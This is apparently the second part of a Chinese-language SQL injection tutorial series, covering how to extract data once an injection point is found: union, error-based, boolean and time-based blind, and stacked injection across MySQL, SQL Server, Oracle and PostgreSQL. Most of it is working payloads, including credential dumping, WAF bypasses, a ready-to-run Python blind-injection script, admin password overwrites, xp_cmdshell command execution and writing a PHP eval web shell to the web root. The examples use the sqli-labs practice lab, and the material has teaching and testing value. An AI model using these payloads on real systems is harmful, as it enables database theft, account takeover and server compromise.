上一篇讲完了原理、预编译失效的十个场景和注入点定位。这一篇解决下一个问题:确认存在注入之后,数据怎么抠出来。
一、先确定用哪种方式
同一个注入点,能用的手法取决于三件事:页面有没有回显、报错有没有返回给用户、真假两种状态有没有差异。按这个顺序往下判断,第一个满足条件的就是首选:
有正常回显位,union 没被拦 -> 联合查询(最快)
报错信息回显给用户 -> 报错注入
没有回显、没有报错,但真假有别 -> 布尔盲注
页面完全一样 -> 时间盲注
上面都不行,但数据库能出网 -> 带外注入(OOB,放在第三篇)
五种方式的代价对比:
| 方式 | 前提 | 数据怎么回来 | 请求量 | 典型场景 |
|---|---|---|---|---|
| 联合查询 | 有回显位、union 可用、知道列数 | 直接显示在页面上 | 几步 | 列表页、详情页 |
| 报错注入 | 报错信息返回给用户 | 藏在错误信息里 | 每段 1 次 | 有报错页但无正常回显 |
| 布尔盲注 | 页面有真假两种可见状态 | 一位一位猜 | 每字符约 7 次 | 无报错、无正常回显 |
| 时间盲注 | 响应时间可控 | 一位一位猜,靠延时 | 每字符约 7 次,且慢 | 页面完全无差异 |
| 带外注入 | 数据库能发起网络请求 | DNS/HTTP 外带 | 少 | 前三者都被堵死 |
不管用哪种方式,取数的顺序是固定的:当前库名 → 库里的表名 → 表的列名 → 字段数据。如果已经知道表名和列名,直接跳到最后一步。
二、联合查询注入
2.1 三步走
第一步,判字段数。 用 order by 递增,直到报错为止,报错前一个数字就是列数:
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 报 Unknown column '4' in 'order clause'
说明这条查询返回 3 列。order by 后面跟的必须是已存在的列序号,超出范围 MySQL 就会抛这个错。
也可以直接试 union select:
?id=1' union select 1--+ 报不同列数
?id=1' union select 1,2--+ 报不同列数
?id=1' union select 1,2,3--+ 正常,确定 3 列
两条路的区别:order by 只有一个数字,绕过过滤更容易;union select 需要写列数,但能顺带确认 union 有没有被拦。实战里两个都试,哪个通用哪个。
第二步,找回显位。 列数确定后,把每个位置换成不同的数字,看页面上哪些位置的内容真的显示出来了:
?id=-1' union select 1,2,3--+
页面上出现 2 和 3 的地方就是回显位。假设 2 和 3 都显示了,后面就把数据放在这两个位置上。
这里的 -1 不是随便写的。原来那条查询是 where id='$id',传 -1 让前半句查不到任何记录,union 的结果就独占整个返回列表,页面上只有我们注入的内容。如果写 id=1,返回两条记录——第一条是真实的,第二条是注入的,很多页面只渲染第一条,你就什么都看不到。-1 的作用是把原记录挤掉。
第三步,取数据。 把要查的内容放到回显位上。
2.2 从库名到字段值
-- 基础信息
?id=-1' union select 1,database(),version()--+
?id=-1' union select 1,user(),3--+
?id=-1' union select 1,@@version_compile_os,3--+
?id=-1' union select 1,@@datadir,3--+
-- 当前库的所有表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-- 指定表的列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
-- 字段值
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
几条说明:
group_concat() 是 MySQL 的聚合函数,把多行结果用逗号拼成一个字符串,一次请求就能拿到全部表名,比一行一行 limit 快得多。Oracle 和 SQL Server 没有这个函数,对应的写法在第三篇。
0x3a 是 : 的十六进制。用它把用户名和密码隔开,比用 concat(username,':',password) 更省事,而且不引入引号,被过滤引号时照样能用。输出形如 admin:5f4dcc3b...。
information_schema 是 MySQL 5.0 之后自带的元数据库,tables 和 columns 两张表记录了全部表名和列名。MySQL 8.0 里同样存在。
2.3 联合查询的五个坑
坑一:字段类型不匹配。 union 要求对应位置的类型兼容。MySQL 比较宽松,字符串塞进数字位通常还能正常显示;SQL Server 和 Oracle 严格得多,会直接抛类型转换错误。排查办法是先跑一遍 union select 1,2,3,看每个回显位原本返回的是什么类型,然后把要读的内容放到字符型的那个位置上。如果所有回显位都是数字型,就改用报错注入——报错注入不挑类型。注意 hex() 帮不上这个忙,它返回的仍然是字符串。
坑二:group_concat 有长度上限。 默认 group_concat_max_len 是 1024 字节,超过就被截断,而且是静默截断。先确认一下:
?id=-1' union select 1,@@group_concat_max_len,3--+
拿到 1024 就说明表名多的时候会丢。三个办法。
一是干脆不用 group_concat,一行一行取。 最稳,代价是请求数变多:
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3--+
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1),3--+
二是对 group_concat 的结果用 substr 分段。 注意 substr 必须套在 group_concat 外面——写成 group_concat(...) limit 0,1 是没用的,group_concat 的结果本来就只有一行,limit 拦不住它内部的截断:
?id=-1' union select 1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,500),3--+
?id=-1' union select 1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),501,500),3--+
三是如果能堆叠注入(本文第七节),直接改大:
?id=1';set session group_concat_max_len=9999999--+
?id=1';set global group_concat_max_len=9999999--+
这条路的坑是:set session 只对当前这条连接生效,应用用了连接池的话,下一次请求可能换到别的连接,设置就丢了;set global 对所有新连接生效,却需要 SUPER 权限,而且不影响已经建立的老连接。所以优先用前两个办法。
坑三:页面只渲染一行。 有些应用拿到结果集后只取第一条。这时候 group_concat 也救不了,只能一行一行取:
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3--+
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1),3--+
limit 的第一个参数是偏移量,递增就能遍历。
坑四:union 被过滤。 换成大小写、双写、内联注释:
?id=-1' UnIoN SeLeCt 1,2,3--+
?id=-1' ununionion selselectect 1,2,3--+
?id=-1' /*!50000union*//*!50000select*/ 1,2,3--+
/*!50000...*/ 是 MySQL 的内联注释:版本号大于等于 50000 时,注释里的内容会被当作正常 SQL 执行,否则当注释忽略。很多 WAF 把它当注释直接放行。
坑五:回显被 HTML 截断。 数据出来了但页面上看不到,可能是被 substring 截断或者被 HTML 标签包住了。看响应原文(Burp 的 Response 或者查看源代码),别只看渲染后的页面。
三、报错注入
3.1 原理
报错注入的核心是:让数据库把查询结果拼进一条会出错的信息里,然后从错误信息里把数据读出来。
这要求两个条件同时成立:被查询的值能进入错误消息,且错误消息返回给了用户。很多应用会把数据库异常统一转成一个固定的错误页,这时候报错注入就废了,得走盲注。
3.2 MySQL 的报错函数
extractvalue 和 updatexml:这两个是首选,payload 短、回显干净。
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
回显:
XPATH syntax error: '~security~'
机制在上一篇 3.2 已经展开讲过:第二个参数必须是合法 XPath,~ 不是,函数直接抛错并把出错的字符串带进消息里。updatexml 同理,在第二个参数上做文章。
这两个函数从 MySQL 5.1.5 开始有,MySQL 8.0 也还在。缺点是回显最多 32 个字符,见 3.3。
floor(rand(0)*2) 配合 group by:
?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
回显:
Duplicate entry 'security1' for key '<group_key>'
原理:group by 会建一张临时表,键是 x。MySQL 在判断"这个键是否已存在"和"把这个键插进去"时,会对 floor(rand(0)*2) 求值两次。两次结果不一致时,就会向临时表插入一个已存在的主键,触发 Duplicate entry。
rand(0) 的种子固定,所以每次跑出来的序列是确定的,输出的稳定可复现。security 后面那个 0 或 1 就是 floor(rand(0)*2) 的值,去掉后就是库名。
用这个手法的前提是参与 group by 的表里至少有几行数据,information_schema.tables 天然满足。
它的价值在于函数名里没有 updatexml、extractvalue 这类被重点盯防的关键字,前两个被 WAF 拦掉时它是首选替代。
exp() 溢出:
?id=1' and exp(~(select * from(select database())a))--+
~ 是按位取反,~0 会得到一个极大的无符号整数,exp() 的结果远超浮点数范围,报错信息形如:
DOUBLE value is out of range in 'exp(~((select 'security' from dual)))'
子查询的结果直接出现在报错里。注意这种写法的报错文案在不同版本有差异,payload 本身是对的,回显位置以实测为准。
几何函数系列:
?id=1' and geometrycollection((select * from(select database())a))--+
?id=1' and multipoint((select * from(select database())a))--+
?id=1' and polygon((select * from(select database())a))--+
?id=1' and linestring((select * from(select database())a))--+
?id=1' and multipolygon((select * from(select database())a))--+
?id=1' and multilinestring((select * from(select database())a))--+
回显形如:
Illegal non geometric 'security' value found during parsing
这些函数要求参数是几何类型的 WKB 数据,传字符串进去就会报"非几何值"。因为函数名冷门,WAF 规则经常漏掉,是报错注入里最实用的一组备选。
几个更冷门的:
?id=1' and gtid_subset(concat(0x7e,(select database())),1)--+
?id=1' and ST_LatFromGeoHash(concat(0x7e,(select database())))--+
?id=1' and ST_LongFromGeoHash(concat(0x7e,(select database())))--+
这几个是 MySQL 5.7+ 才有的函数,报错文案随版本变化比较大,用之前先单独测一次确认能触发。它们的意义和前一组一样:多备几个函数,WAF 拦了这个还有下一个。
3.3 32 字符限制与分段读取
extractvalue 和 updatexml 的报错里,XPath 字符串最多显示 32 个字符左右。我们习惯用两个 ~ 夹住数据,这两个字符也占额度,所以每段实际能带出来的数据只有 30 个字符上下。
-- 第 1 段:第 1..30 个字符
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),1,30) from information_schema.tables where table_schema=database())))--+
-- 第 2 段:第 31..60 个字符
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),31,30) from information_schema.tables where table_schema=database())))--+
-- 第 3 段:第 61..90 个字符
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),61,30) from information_schema.tables where table_schema=database())))--+
substr(str, start, len) 的 start 每次加 30。32 这个上限各版本略有出入,第一次打的时候先用一段长的试探实际能回显多少,再定每段的长度。段数没对上会导致漏字符,比读不出来更麻烦。
分段的时候一定先取长度,否则你不知道到哪停:
?id=1' and extractvalue(1,concat(0x7e,(select length(group_concat(table_name)) from information_schema.tables where table_schema=database())))--+
还有一个经常被误用的技巧:hex()。
?id=1' and extractvalue(1,concat(0x7e,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database())))--+
需要说清楚:hex() 不解决 32 字符限制,反而会让长度翻倍——每个字节变成两个十六进制字符,security 从 8 个字符变成 16 个。
它真正解决的问题是编码安全。表名、字段名、数据里可能含单引号、空格、换行、中文,这些字符直接 concat 进报错串,轻则在 URL 里被转义得面目全非,重则破坏 SQL 语法。先 hex 再带出来,一路上全是 0-9a-f,不会有任何编码问题,本地 bytes.fromhex(...).decode() 还原即可。
所以两个手段的关系是:数据长就分段,数据脏就 hex,两个一起用就是「先分段再对每段 hex」。
3.4 SQL Server
核心思路是强制类型转换:把字符串往数字类型上转,转换失败时 SQL Server 会把原值放进错误信息。
?id=1 and 1=convert(int,(select @@version))--+
?id=1 and 1=cast((select db_name()) as int)--+
?id=1 and 1=convert(int,(select system_user))--+
回显:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019 ...' to data type int.
单引号里的就是查询结果。convert 和 cast 都行,convert 写起来更短。
读表名和列名:
?id=1 and 1=convert(int,(select top 1 name from sysobjects where xtype='U'))--+
?id=1 and 1=convert(int,stuff((select ','+name from sysobjects where xtype='U' for xml path('')),1,1,''))--+
sysobjects 里 xtype='U' 是用户表。stuff(... for xml path('')) 是 SQL Server 里拼多行字符串的标准写法,作用等同于 MySQL 的 group_concat。
回显长度上 SQL Server 比 MySQL 宽松,但太长的转换报错也可能被截断,读大字段同样建议先 hex 或者分段。
3.5 Oracle
Oracle 的报错注入这两年被堵得比较厉害,主要手法是 utl_inaddr:
?id=1' and 1=utl_inaddr.get_host_name((select user from dual))--+
?id=1' and 1=utl_inaddr.get_host_address((select user from dual))--+
回显:
ORA-29257: host SCOTT unknown
get_host_name 会把参数当成主机名去解析,解析不了就报错,参数值出现在 host 后面。dual 是 Oracle 的虚表,查询常量必须 from dual。
关键限制:Oracle 11g 之后,UTL_INADDR 和 UTL_HTTP 的 EXECUTE 权限默认从 PUBLIC 上收回了。也就是说这个 payload 在打过补丁的新库上会直接报权限不足。所以实战中遇到 Oracle,优先走布尔和时间盲注,报错注入要碰运气。
同样的报错注入还有 ctxsys.drithsx.sn、dbms_xmlgen、xmltype 几个,可用性和报错文案都随版本和补丁级别变化,这里不展开——需要时用 ?id=1' and 1=1--+ 确认注入存在后,逐个函数试。
Oracle 里回报错信息通常比较完整,不需要像 MySQL 那样分段。
3.6 PostgreSQL
和 SQL Server 一个思路,用类型转换:
?id=1 and 1=cast((select version()) as int)--+
?id=1 and 1=cast((select current_database()) as int)--+
?id=1 and 1=cast((select string_agg(tablename,',') from pg_tables where schemaname='public') as int)--+
回显:
invalid input syntax for type integer: "PostgreSQL 16.0 on x86_64-pc-linux-gnu..."
string_agg 是 PostgreSQL 里对应 group_concat 的函数。表名列表在 pg_tables 里,列名在 information_schema.columns 里。
3.7 报错不回显怎么办
按这个顺序排查:
- 确认注入存在。先跑
?id=1' and 1=1--+和?id=1' and 1=2--+,一真一假说明注入成立,只是错误没回显。 - 看原始响应。很多框架会把错误写进响应头、注释或者 JSON 的某个字段里,页面本身是白页。检查完整响应体,别只看渲染结果。
- 看调试模式。
debug=true、APP_DEBUG、display_errors=On这类开关打开时错误才回显,可以试着触发一个 500 看有没有堆栈。 - 换盲注。以上都不行就走第四节和第五节。报错注入只是省事,不是必须。
四、布尔盲注
4.1 原理
页面不回显数据、也不报错,但条件为真和为假时页面有可见差异,就可以用布尔盲注:向数据库提一个是非题,根据页面状态判断答案。
典型的是 sqli-labs Less-8,为真时显示 You are in...,为假时什么都不显示。真实环境里差异可能更微妙:返回列表长度差几十字节、状态码从 200 变 500、某个关键字出现或消失。
4.2 用到的函数
MySQL:
length(str) -- 字符串长度
substr(str, pos, len) -- 截取,pos 从 1 开始
substring(str, pos, len) -- 同上
mid(str, pos, len) -- 同上
left(str, len) -- 从左取
right(str, len) -- 从右取
ascii(chr) -- 取第一个字符的 ASCII 码
ord(chr) -- 同上
hex(str) -- 转十六进制
if(cond, a, b) -- 条件表达式
各库的名字不完全一样,速查:
| 功能 | MySQL | SQL Server | Oracle | PostgreSQL |
|---|---|---|---|---|
| 长度 | length | len | length | length |
| 截取 | substr/mid | substring | substr | substr/substring |
| 取码 | ascii/ord | ascii | ascii | ascii |
| 条件 | if | iif | case when/decode | case when |
| 拼接多行 | group_concat | for xml path | listagg | string_agg |
4.3 完整取数流程
第一步,取长度。
?id=1' and length(database())=8--+
?id=1' and length(database())>5--+
第二步,逐字符取 ASCII 码。
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,1))>100--+
substr(database(),1,1) 取第 1 个字符,ascii() 取它的编码,和 115 比较。ASCII 115 是 s,说明库名第一个字符是 s。
第三步,套上表名和列名。
-- 第 1 张表的第 1 个字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
-- 第 1 张表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5--+
注意子查询要用括号包起来才能整体当作 substr 的参数,少了括号就是语法错误。这也是手工测的时候最容易犯的错。
4.4 用 regexp 代替 substr
substr、ascii 被 WAF 拦掉时,MySQL 的 regexp 是很好的替代,而且一次可以判断多个字符:
?id=1' and (select database()) regexp '^s'--+
?id=1' and (select database()) regexp '^se'--+
?id=1' and (select database()) regexp '^sec'--+
^ 锚定开头,后面每加一个字符就是一次判断。判断到第 n 位时,前 n-1 位已经确定,所以这实际上是把"逐字符猜"变成了"逐字符验证"。
配合字符集和重复次数,能进一步压缩请求量:
?id=1' and (select database()) regexp '^[a-s]'--+
?id=1' and (select database()) regexp '^s[a-z]{6}'--+
[a-s] 判断首字符落在某个区间,{6} 判断剩余长度。用字符集判断能把一个字符的请求数从 7 次(二分)压到几次区间判断,字段多的时候很划算。
regexp 的返回是 0 或 1,所以它能直接当条件用,不需要再套 ascii。
4.5 布尔盲注的三个坑
坑一:拿"页面是否正常"当判断依据。 这是最常见的错误。很多站点真假两种状态都不是"正常/报错",而是"有数据/空列表",两者都是 200。必须先用 and 1=1 和 and 1=2 建立基准,量出差异在哪(返回长度差多少、哪个关键字消失)。
坑二:差异太小看不出来。 差几十字节肉眼无感,靠 Burp 的 Response Length 或者脚本比较内容哈希。手工阶段可以直接用 length() 先把返回长度打到响应里对比。
坑三:条件恒真或恒假。 如果 and 1=1 和 and 1=2 结果一样,先确认不是 ? 位置放错了或者被过滤了。字符串型的参数,and 前面必须先把引号闭合,?id=1 and 1=1 和 ?id=1' and '1'='1 完全不是一回事。
五、时间盲注
5.1 原理
页面连真假差异都没有的时候,只有一件事还能观察:响应时间。构造一个"条件成立就延迟 N 秒"的语句,用耗时长短来判断真假。
5.2 各库的延时函数
| 数据库 | 延时方式 |
|---|---|
| MySQL | sleep(n)、benchmark(count, expr)、笛卡尔积重查询 |
| SQL Server | waitfor delay '0:0:5' |
| Oracle | dbms_pipe.receive_message(('a'),5)、dbms_lock.sleep(5)、重查询 |
| PostgreSQL | pg_sleep(5)、重查询 |
| SQLite | randomblob(大数字)、重查询 |
5.3 MySQL 的三种延时手段
sleep():
?id=1' and sleep(5)--+ -- 无条件延时,先确认能延时
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0)--+
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
这里有个细节值得说清楚:sleep(5) 写在 where 里,理论上会被逐行求值。但 and 是短路求值的——id=1 为假的行根本不会走到 sleep,只有命中的那一行才执行一次。所以 id=1' and sleep(5) 通常只延时 5 秒,不是 5 秒乘以行数。
反过来说,如果条件命中了多行,或者没有走索引,sleep 会被调用多次,延时成倍放大。所以不要想当然地拿 sleep(5) 当 5 秒用,第一次测的时候先把实际耗时量出来。
benchmark():sleep 被过滤时用它。
?id=1' and benchmark(5000000,md5(1))--+
?id=1' and if(ascii(substr(database(),1,1))>100,benchmark(5000000,md5(1)),0)--+
benchmark(count, expr) 把 expr 执行 count 次。5000000 次 md5(1) 大概几秒,具体多少取决于机器性能,必须先在本机标定,把 5000000 调成"稳定耗时 3-5 秒"的量级。
重查询(笛卡尔积):benchmark 也被拦时用。
?id=1' and if(ascii(substr(database(),1,1))>100,(select count(*) from information_schema.columns a,information_schema.columns b,information_schema.columns c),1)--+
三个 information_schema.columns 做笛卡尔积,每一张都是几百到几千行,乘起来是千万级,查询本身就要几秒。条件为真时返回一个非零的大数字(and 视作真),为假时返回 1(也是真),两种情况下页面结果都一样,只有时间不同——这正是我们要的效果。
这个手法不需要 sleep、不需要 benchmark,只依赖表够大,很难被 WAF 规则识别,因为它就是一条普通的 select count(*)。
5.4 SQL Server / Oracle / PostgreSQL 的写法
SQL Server:
?id=1';waitfor delay '0:0:5'--+
?id=1';if(ascii(substring(db_name(),1,1))>100) waitfor delay '0:0:5'--+
waitfor delay 是独立的语句,通常配合堆叠注入(;)使用。if(...) 后面直接跟 waitfor delay,条件不成立时不执行。
Oracle:
?id=1' and 1=(case when ascii(substr(user,1,1))>100 then dbms_pipe.receive_message(('a'),5) else 1 end)--+
dbms_pipe.receive_message(('a'),5) 会等待管道消息最多 5 秒,超时返回。case when 控制条件,为真时执行延时函数。注意 Oracle 没有 if(),条件表达式要用 case when 或 decode。
PostgreSQL:
?id=1';select case when (ascii(substr(current_database(),1,1))>100) then pg_sleep(5) else pg_sleep(0) end--+
pg_sleep 返回 void,不能直接参与比较,所以用 case when 包裹并配合堆叠注入执行。
5.5 阈值怎么定
时间盲注最容易失败的地方是阈值定错。不能直接写"超过 5 秒就是真",原因是网络抖动和服务器负载都会叠加到响应时间上。
正确做法:
- 先用
and sleep(5)跑 3 次,记录实际耗时,取中位数作为"真"的基准。 - 再用
and sleep(0)(或者条件为假的 payload)跑 3 次,取中位数作为"假"的基准。 - 阈值取两者中间值。比如真 5.2s、假 0.3s,阈值就定 2.5s。
- 脚本里每次请求设置
timeout,超时按"真"处理——因为超时本身就是延时的证据。
延时秒数不要设太大,3 到 5 秒够用。设 10 秒的话,一个字段几十个字符就是几分钟,而且目标可能因为超时断开连接。
六、盲注脚本
6.1 为什么用二分法
一个字节的 ASCII 码在 32 到 126 之间(可打印字符),共 95 个取值。线性遍历平均要 47 次请求,二分只需要 7 次(2^7 = 128 > 95)。一个 20 字符的表名,线性是 900 多次请求,二分只要 140 次。
长度同样用二分,从 1 到 100 只要 7 次。
6.2 布尔盲注脚本
下面这个脚本可以直接跑,改 BASE 和 check_bool 里的关键字就能适配目标:
import time
import requests
BASE = "http://127.0.0.1/sqli-labs/Less-8/"
def check_bool(expr):
"""布尔盲注:条件为真时页面包含关键字"""
params = {"id": f"1' and ({expr})-- "}
r = requests.get(BASE, params=params, timeout=15)
return "You are in" in r.text
def check_time(expr, delay=3):
"""时间盲注:条件为真时延时 delay 秒"""
params = {"id": f"1' and if(({expr}),sleep({delay}),0)-- "}
t0 = time.time()
requests.get(BASE, params=params, timeout=delay + 15)
return (time.time() - t0) > delay * 0.6
def get_length(check, expr, hi=100):
"""二分求长度,返回 1..hi 之间的整数"""
lo = 1
while lo < hi:
mid = (lo + hi) // 2
if check(f"length(({expr}))>{mid}"):
lo = mid + 1
else:
hi = mid
return lo
def get_char(check, expr, pos):
"""二分求第 pos 个字符"""
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if check(f"ascii(substr(({expr}),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
def get_string(check, expr, max_len=100):
n = get_length(check, expr, max_len)
return "".join(get_char(check, expr, i) for i in range(1, n + 1))
if __name__ == "__main__":
check = check_bool # 换成 check_time 就是时间盲注,其余代码不用改
print("database:", get_string(check, "select database()"))
print("tables :", get_string(check,
"select group_concat(table_name) from information_schema.tables "
"where table_schema=database()"))
几个要点:
({expr})-- 结尾的那个空格不能省。MySQL 的 -- 要求后面跟空白字符,URL 里会被编码成 %20 或 +,PHP 两种都能解码。用 requests 传 params 字典时它会自动处理,不要自己手动 URL 编码,否则会被编两次。
用 group_concat 一次取所有表名,比一张一张取快得多,前提是长度别超过 group_concat_max_len。
get_length 和 get_char 完全通用,换成时间盲注只是把 check 换成 check_time,其他一行都不用动。把"判断条件真假"抽象成一个函数,是盲注脚本设计的关键。
6.3 位运算版本
比较符 >、= 被过滤时,改成按位取:
def get_char_bits(check, expr, pos):
v = 0
for bit in range(6, -1, -1):
if check(f"(ascii(substr(({expr}),{pos},1))>>{bit})&1"):
v |= 1 << bit
return chr(v)
可打印字符的 ASCII 不超过 127,7 个 bit 就够。>> 右移、&1 取最低位,整个表达式里没有 > 也没有 =,绕过了只拦比较符的规则。代价是固定 7 次请求,比二分的平均次数略多,但胜在稳定。
6.4 提速
盲注慢,能优化的地方:
- 并发。不同字符之间互不依赖,用
concurrent.futures开线程池,长度确定后并发跑所有位置。注意别开太多,目标扛不住会超时,5 到 10 个线程比较稳。 - 一次取多行。用
group_concat把多行拼成一个字符串,一次盲注拿一批。 - 优先用
regexp。能一次判断多个字符的场景,regexp比逐字符二分快。 - 带外注入。如果数据库能出网,第三篇讲的 DNS 外带可以把盲注的几百次请求压到几次。
七、堆叠注入
7.1 原理和支持情况
堆叠注入是用分号 ; 结束当前语句,再接一条全新的语句:
?id=1';update users set password='123456' where username='admin'--+
能不能用取决于两层:
| 数据库 | 服务端是否支持多语句 |
|---|---|
| MySQL | 支持 |
| SQL Server | 支持 |
| PostgreSQL | 支持 |
| Oracle | 不支持 |
| SQLite | 支持 |
但服务端支持不等于能用,客户端 API 会拦一层:
- PHP
mysql_query():不支持,会报错。 - PHP
mysqli_multi_query():支持,是堆叠注入最典型的场景。 - PHP PDO:受
PDO::MYSQL_ATTR_MULTI_STATEMENTS控制,默认行为随版本和驱动变化,需要实测。 - Java JDBC:默认不允许,除非连接串里加了
allowMultiQueries=true。
所以 MySQL 下看到堆叠注入,第一反应是"目标用的是 mysqli_multi_query 或者开了多语句的 PDO"。
7.2 为什么堆叠注入通常读不出数据
这是堆叠注入最容易被误解的地方。后续语句的执行结果不会返回给应用——应用拿到的只是第一条语句的结果集。
?id=1';select username,password from users--+
这条 payload 里的 select 确实执行了,但结果不会出现在页面上,因为 PHP 只读了第一条语句的结果。所以:
- 堆叠注入用于"写":改数据、删表、写文件、开命令执行。
- 读数据还是得靠联合、报错或盲注。
实战里堆叠的价值在于拿权限和拿 shell,而不是拖库。
7.3 常见利用
改数据:最直接,改管理员密码然后登录。
?id=1';update users set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'--+
插数据:往管理员表里插一个自己的账号。要先确认表结构。
?id=1';insert into users(username,password,role) values('attacker','123456','admin')--+
SQL Server 直接执行命令:
?id=1';exec sp_configure 'show advanced options',1;reconfigure--+
?id=1';exec sp_configure 'xp_cmdshell',1;reconfigure--+
?id=1';exec xp_cmdshell 'whoami'--+
这里堆叠是必须的:sp_configure、reconfigure 都是独立语句,没法用 and 串起来。
MySQL 写文件:为后面的 UDF 提权做准备。
?id=1';select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'--+
into outfile 需要 FILE 权限且 secure_file_priv 允许,详细条件在第四篇。
八、注入入口不止 URL 参数
前面所有 payload 都写在 ?id= 上,但注入点可能在任何一个进入数据库的字段里。值得单独试的位置:
HTTP 头。很多站点会把来源、UA、真实 IP 写进日志表或统计表:
GET / HTTP/1.1
Host: target.com
User-Agent: ' or updatexml(1,concat(0x7e,database()),1) or '
Referer: ' or updatexml(1,concat(0x7e,database()),1) or '
X-Forwarded-For: ' or updatexml(1,concat(0x7e,database()),1) or '
X-Forwarded-For 命中率最高,因为取真实 IP 的代码几乎都会把它写库。注意这类注入通常没有回显,即使报错也是写到日志里你看不到,所以实际常用时间盲注或带外。
Cookie:
Cookie: theme=' or updatexml(1,concat(0x7e,database()),1) or '
主题、语言、每页条数这类偏好设置经常被存进用户表。
JSON 和 Base64 参数。JSON 字段看类型,数字型的字段名后面一样能塞条件:
POST /api/list HTTP/1.1
Content-Type: application/json
{"id": "1 and 1=1"}
Base64 参数要先解码再注入,再编码回去:
原始:1' and 1=1--+
Base64:MScgYW5kIDE9MS0tKw==
二次注入。入口处全部被转义、单点测试全部安全,但数据从库里取出来之后又被拼进 SQL。第一篇 3.9 讲过了完整链路,这里不重复。
下一篇讲多个数据库之间的差异,以及完全没有回显时怎么把数据带出来——DNS 外带、UNC 路径、xp_dirtree 这些,还有一堆"库名知道表名不知道""information_schema 被拦"的场景题。